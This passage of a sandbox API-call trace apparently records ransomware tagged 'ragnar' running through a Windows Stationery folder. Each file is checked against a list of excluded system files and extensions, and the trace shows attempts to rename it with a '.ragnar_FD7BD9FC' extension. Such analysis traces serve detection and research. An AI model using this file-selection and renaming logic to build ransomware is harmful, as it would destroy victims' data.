(lpString1=".jpg", lpString2=".sys") returned -1 [0068.507] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.507] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0068.508] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0068.508] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0068.508] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0068.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0068.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.508] CloseHandle (hObject=0xffffffff) returned 0 [0068.508] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" [0068.508] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.ragnar_FD7BD9FC" [0068.508] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0068.509] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.509] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Genko_1.emf" | out: lpString1="Genko_1.emf") returned="Genko_1.emf" [0068.509] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned=".emf" [0068.509] lstrcmpiW (lpString1="Genko_1.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.509] lstrcmpiW (lpString1="Genko_1.emf", lpString2="autorun.inf") returned 1 [0068.509] lstrcmpiW (lpString1="Genko_1.emf", lpString2="boot.ini") returned 1 [0068.509] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootfont.bin") returned 1 [0068.509] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootsect.bak") returned 1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootmgr") returned 1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootmgr.efi") returned 1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="bootmgfw.efi") returned 1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="desktop.ini") returned 1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="iconcache.db") returned -1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ntldr") returned -1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ntuser.dat") returned -1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ntuser.dat.log") returned -1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="ntuser.ini") returned -1 [0068.510] lstrcmpiW (lpString1="Genko_1.emf", lpString2="thumbs.db") returned -1 [0068.510] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0068.511] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0068.511] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0068.511] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0068.511] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0068.511] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0068.511] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0068.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0068.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.533] CloseHandle (hObject=0xffffffff) returned 0 [0068.533] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" [0068.533] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.ragnar_FD7BD9FC" [0068.533] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.533] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0068.533] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.533] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Genko_2.emf" | out: lpString1="Genko_2.emf") returned="Genko_2.emf" [0068.533] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned=".emf" [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="autorun.inf") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="boot.ini") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="bootfont.bin") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="bootsect.bak") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="bootmgr") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="bootmgr.efi") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="bootmgfw.efi") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="desktop.ini") returned 1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="iconcache.db") returned -1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="ntldr") returned -1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="ntuser.dat") returned -1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="ntuser.dat.log") returned -1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="ntuser.ini") returned -1 [0068.533] lstrcmpiW (lpString1="Genko_2.emf", lpString2="thumbs.db") returned -1 [0068.533] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0068.534] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0068.534] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0068.534] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0068.534] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0068.534] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0068.534] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0068.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0068.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.534] CloseHandle (hObject=0xffffffff) returned 0 [0068.534] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" [0068.534] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.ragnar_FD7BD9FC" [0068.534] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.534] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0068.534] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.534] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Graph.emf" | out: lpString1="Graph.emf") returned="Graph.emf" [0068.534] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned=".emf" [0068.534] lstrcmpiW (lpString1="Graph.emf", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.534] lstrcmpiW (lpString1="Graph.emf", lpString2="autorun.inf") returned 1 [0068.534] lstrcmpiW (lpString1="Graph.emf", lpString2="boot.ini") returned 1 [0068.534] lstrcmpiW (lpString1="Graph.emf", lpString2="bootfont.bin") returned 1 [0068.534] lstrcmpiW (lpString1="Graph.emf", lpString2="bootsect.bak") returned 1 [0068.534] lstrcmpiW (lpString1="Graph.emf", lpString2="bootmgr") returned 1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="bootmgr.efi") returned 1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="bootmgfw.efi") returned 1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="desktop.ini") returned 1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="iconcache.db") returned -1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="ntldr") returned -1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="ntuser.dat") returned -1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="ntuser.dat.log") returned -1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="ntuser.ini") returned -1 [0068.535] lstrcmpiW (lpString1="Graph.emf", lpString2="thumbs.db") returned -1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0068.535] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0068.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0068.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0068.941] CloseHandle (hObject=0xffffffff) returned 0 [0068.945] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" [0068.947] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.ragnar_FD7BD9FC" [0068.951] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0068.961] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0068.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0068.969] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Green Bubbles.htm" | out: lpString1="Green Bubbles.htm") returned="Green Bubbles.htm" [0068.970] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned=".htm" [0068.972] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.978] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="autorun.inf") returned 1 [0068.980] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="boot.ini") returned 1 [0068.983] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootfont.bin") returned 1 [0068.984] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootsect.bak") returned 1 [0068.985] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootmgr") returned 1 [0068.985] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootmgr.efi") returned 1 [0068.987] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="bootmgfw.efi") returned 1 [0068.990] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="desktop.ini") returned 1 [0068.994] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="iconcache.db") returned -1 [0068.995] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ntldr") returned -1 [0068.996] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ntuser.dat") returned -1 [0068.997] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ntuser.dat.log") returned -1 [0068.997] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="ntuser.ini") returned -1 [0068.999] lstrcmpiW (lpString1="Green Bubbles.htm", lpString2="thumbs.db") returned -1 [0069.000] lstrcmpiW (lpString1=".htm", lpString2=".db") returned 1 [0069.001] lstrcmpiW (lpString1=".htm", lpString2=".sys") returned -1 [0069.002] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0069.004] lstrcmpiW (lpString1=".htm", lpString2=".lnk") returned -1 [0069.006] lstrcmpiW (lpString1=".htm", lpString2=".msi") returned -1 [0069.008] lstrcmpiW (lpString1=".htm", lpString2=".drv") returned 1 [0069.008] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0069.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0069.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.037] CloseHandle (hObject=0xffffffff) returned 0 [0069.039] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" [0069.041] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.ragnar_FD7BD9FC" [0069.042] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.048] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0069.050] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.052] lstrcpyW (in: lpString1=0x1eb63c, lpString2="GreenBubbles.jpg" | out: lpString1="GreenBubbles.jpg") returned="GreenBubbles.jpg" [0069.053] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned=".jpg" [0069.054] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0069.055] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="autorun.inf") returned 1 [0069.057] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="boot.ini") returned 1 [0069.058] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootfont.bin") returned 1 [0069.059] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootsect.bak") returned 1 [0069.062] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootmgr") returned 1 [0069.063] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootmgr.efi") returned 1 [0069.064] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="bootmgfw.efi") returned 1 [0069.064] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="desktop.ini") returned 1 [0069.124] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="iconcache.db") returned -1 [0069.124] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ntldr") returned -1 [0069.124] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ntuser.dat") returned -1 [0069.124] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ntuser.dat.log") returned -1 [0069.124] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="ntuser.ini") returned -1 [0069.124] lstrcmpiW (lpString1="GreenBubbles.jpg", lpString2="thumbs.db") returned -1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.124] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0069.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.125] CloseHandle (hObject=0xffffffff) returned 0 [0069.125] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" [0069.125] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.ragnar_FD7BD9FC" [0069.125] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.125] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0069.125] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common 